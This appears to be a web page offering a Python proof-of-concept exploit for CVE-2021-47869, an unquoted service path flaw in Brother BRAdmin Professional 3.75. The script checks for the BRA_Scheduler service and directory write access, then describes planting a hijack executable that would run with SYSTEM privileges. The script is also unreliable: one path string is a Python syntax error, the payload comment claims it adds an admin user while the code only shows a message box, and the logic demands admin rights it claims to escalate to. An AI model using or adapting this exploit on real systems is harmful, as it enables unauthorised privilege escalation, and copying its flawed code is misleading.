CVE-2021-47869 Brother BRAdmin Professional 3.75 未引号服务路径权限提升漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2021-47869 PoC - Brother BRAdmin Professional 3.75 Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in BRAdmin Professional 3.75 """ import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target system is vulnerable""" service_path = r'C:\Program Files (x86)\Brother\BRAdmin Professional 3\BRA_Scheduler.exe' # Check if service exists try: result = subprocess.run( ['sc', 'query', 'BRA_Scheduler'], capture_output=True, text=True ) if 'SERVICE_NAME' in result.stdout: print('[+] BRA_Scheduler service found') return True except Exception as e: print(f'[-] Error checking service: {e}') return False def create_malicious_executable(): """Create a malicious executable to be placed in the vulnerable path""" # This is a placeholder - in a real attack, this would be actual malicious code # For demonstration purposes, this creates a simple executable that adds a new admin user malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // In real attack: execute malicious payload here // This would typically spawn a shell with SYSTEM privileges MessageBox(NULL, "BRAdmin Service Executed", "PoC", MB_OK); return 0; } ''' print('[+] Malicious executable code generated') return malicious_code def exploit(): """Exploit the unquoted service path vulnerability""" target_dir = r'C:\Program Files (x86)\Brother\' malicious_exe = os.path.join(target_dir, 'BRAdmin.exe') print('[*] Starting CVE-2021-47869 exploitation...') if not check_vulnerability(): print('[-] BRA_Scheduler service not found or not vulnerable') return False # Check if target directory is writable try: if not os.access(target_dir, os.W_OK): print('[-] No write permission to target directory') print('[*] Please run as administrator or with appropriate privileges') return False except Exception as e: print(f'[-] Error checking permissions: {e}') return False # Create malicious executable create_malicious_executable() # Note: In a real attack, you would compile and place the actual malicious executable print(f'[*] Malicious executable should be placed at: {malicious_exe}') print('[*] When BRA_Scheduler service restarts, it will execute this file with SYSTEM privileges') return True if __name__ == '__main__': exploit()